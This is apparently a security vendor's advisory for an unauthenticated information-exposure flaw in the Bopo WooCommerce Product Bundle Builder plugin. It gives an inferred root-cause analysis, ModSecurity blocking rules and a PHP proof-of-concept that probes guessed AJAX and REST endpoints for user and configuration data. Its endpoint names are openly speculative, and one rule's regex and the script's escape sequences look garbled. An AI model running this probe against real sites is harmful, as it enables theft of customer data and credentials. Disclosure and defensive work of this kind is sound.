Atomic Edge analysis of CVE-2026-57664 (metadata-based):
This vulnerability exposes sensitive user or configuration data from the Bopo – WooCommerce Product Bundle Builder plugin, affecting all versions up to and including 1.1.6. The CVSS base score of 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) indicates network-exploitable, low-complexity attacks requiring no authentication. The plugin slug is “bopo-woo-product-bundle-builder” and the patched version is 1.2.0.
Root Cause: The CWE-200 classification and the description “extract sensitive user or configuration data” strongly point to a missing or insufficient authorization check in a publicly accessible endpoint. For a WooCommerce plugin, this often involves a REST API route or AJAX handler that returns data from the `wp_options` table (site configuration, API keys, payment gateway credentials) or user records (email addresses, order history) without requiring the appropriate capability or nonce validation. Since no code is available, Atomic Edge analysis infers the vulnerability resides in an unauthenticated AJAX action or REST endpoint that the plugin registers for front-end bundle builder functionality but fails to limit data retrieval to the currently authenticated user’s own data or to require any permission check.
Exploitation: An unauthenticated attacker can craft a GET or POST request to either an AJAX handler at `/wp-admin/admin-ajax.php` with a specific `action` parameter (e.g., `bopo_get_products`, `bopo_get_bundle_data`, or similar) or to a REST API endpoint at `/wp-json/bopo/v1/…` with parameters that enumerate users or configuration keys. By manipulating parameters such as `user_id`, `email`, `option_name`, or by simply omitting authentication tokens, the attacker can iterate over valid identifiers and retrieve sensitive data. Atomic Edge analysis expects the plugin registers an endpoint that, for example, returns WooCommerce product or order data with customer names and addresses, or exposes internal plugin configuration including API keys stored in WordPress options.
Remediation: The patch (version 1.2.0) likely adds proper permissions checks such as `current_user_can(‘edit_posts’)` or `current_user_can(‘manage_options’)` before returning sensitive data. For endpoints that need to be publicly accessible, the plugin should validate that the requester is authorized to view the specific data (e.g., their own order) by checking matching IDs against the current user’s session. Additionally, implementing WordPress nonce verification for AJAX actions and explicit capability checking for REST API routes would prevent unauthenticated data extraction.
Impact: Successful exploitation allows an attacker to harvest sensitive information from affected WordPress installations. This could include WooCommerce API keys, payment gateway credentials (Stripe, PayPal secret keys), site database credentials stored in options, email addresses of customers and administrators, order details with personal data (names, addresses, phone numbers), and internal plugin configuration. Such data exposure can lead to financial theft, identity fraud, further system compromise, or privacy regulation (GDPR/CCPA) violations for the site owner.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-57664 (metadata-based)
# Block unauthenticated data exposure via Bopo plugin AJAX handlers
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57664 - Bopo WooCommerce Bundle Builder Info Disclosure via AJAX',severity:'CRITICAL',tag:'CVE-2026-57664'"
SecRule ARGS_POST:action "@rx ^bopo_" "chain"
SecRule REQUEST_METHOD "@streq POST" ""
# Block unauthenticated data exposure via Bopo plugin REST API
SecRule REQUEST_URI "@beginsWith /wp-json/bopo/" "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-57664 - Bopo WooCommerce Bundle Builder Info Disclosure via REST API',severity:'CRITICAL',tag:'CVE-2026-57664'"
SecRule REQUEST_METHOD "@streq GET" "chain"
SecRule ARGS:user_id "@rx ^d+$" ""
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-57664 - Bopo - WooCommerce Product Bundle Builder <= 1.1.6 Unauthenticated Sensitive Information Exposure
// Configuration
$target_url = 'https://example.com'; // CHANGE THIS to the target WordPress site URL
// Initialize cURL
$ch = curl_init();
// ==============================================================
// Attempt 1: AJAX handler - try to extract user data via common action
// ==============================================================
echo "[+] Attempting AJAX endpoint: admin-ajax.php?action=bopo_get_usersn";
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
$post_data = [
'action' => 'bopo_get_users',
];
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => false,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_TIMEOUT => 30,
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($response && $http_code == 200) {
$decoded = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE && !empty($decoded)) {
echo "[+] Received data: " . substr($response, 0, 500) . "nn";
} else {
echo "[-] No JSON data returned.nn";
}
} else {
echo "[-] HTTP $http_code - No data retrieved.nn";
}
// ==============================================================
// Attempt 2: REST API endpoint - try common plugin namespace
// ==============================================================
echo "[+] Attempting REST API: /wp-json/bopo/v1/confign";
$rest_url = rtrim($target_url, '/') . '/wp-json/bopo/v1/config';
curl_setopt_array($ch, [
CURLOPT_URL => $rest_url,
CURLOPT_HTTPGET => true,
CURLOPT_HTTPHEADER => ['Accept: application/json'],
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($response && $http_code == 200) {
$decoded = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE && !empty($decoded)) {
echo "[+] Received data: " . substr($response, 0, 500) . "nn";
} else {
echo "[-] No JSON data returned.nn";
}
} else {
echo "[-] HTTP $http_code - No data retrieved.nn";
}
// ==============================================================
// Attempt 3: Try another common AJAX action for bundle data
// ==============================================================
echo "[+] Attempting AJAX: bopo_get_bundlen";
$post_data2 = [
'action' => 'bopo_get_bundle',
'bundle_id' => 1,
];
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data2),
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($response && $http_code == 200) {
$decoded = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE && !empty($decoded)) {
echo "[+] Received data: " . substr($response, 0, 500) . "nn";
} else {
echo "[-] No JSON data returned.nn";
}
} else {
echo "[-] HTTP $http_code - No data retrieved.nn";
}
// ==============================================================
// Attempt 4: Try to read WordPress options via plugin endpoint
// ==============================================================
echo "[+] Attempting AJAX: bopo_get_settingsn";
$post_data3 = [
'action' => 'bopo_get_settings',
];
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data3),
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($response && $http_code == 200) {
$decoded = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE && !empty($decoded)) {
echo "[+] Received data: " . substr($response, 0, 500) . "nn";
} else {
echo "[-] No JSON data returned.nn";
}
} else {
echo "[-] HTTP $http_code - No data retrieved.nn";
}
curl_close($ch);
echo "[+] Testing complete. If any attempts returned data, the site is vulnerable to CVE-2026-57664.n";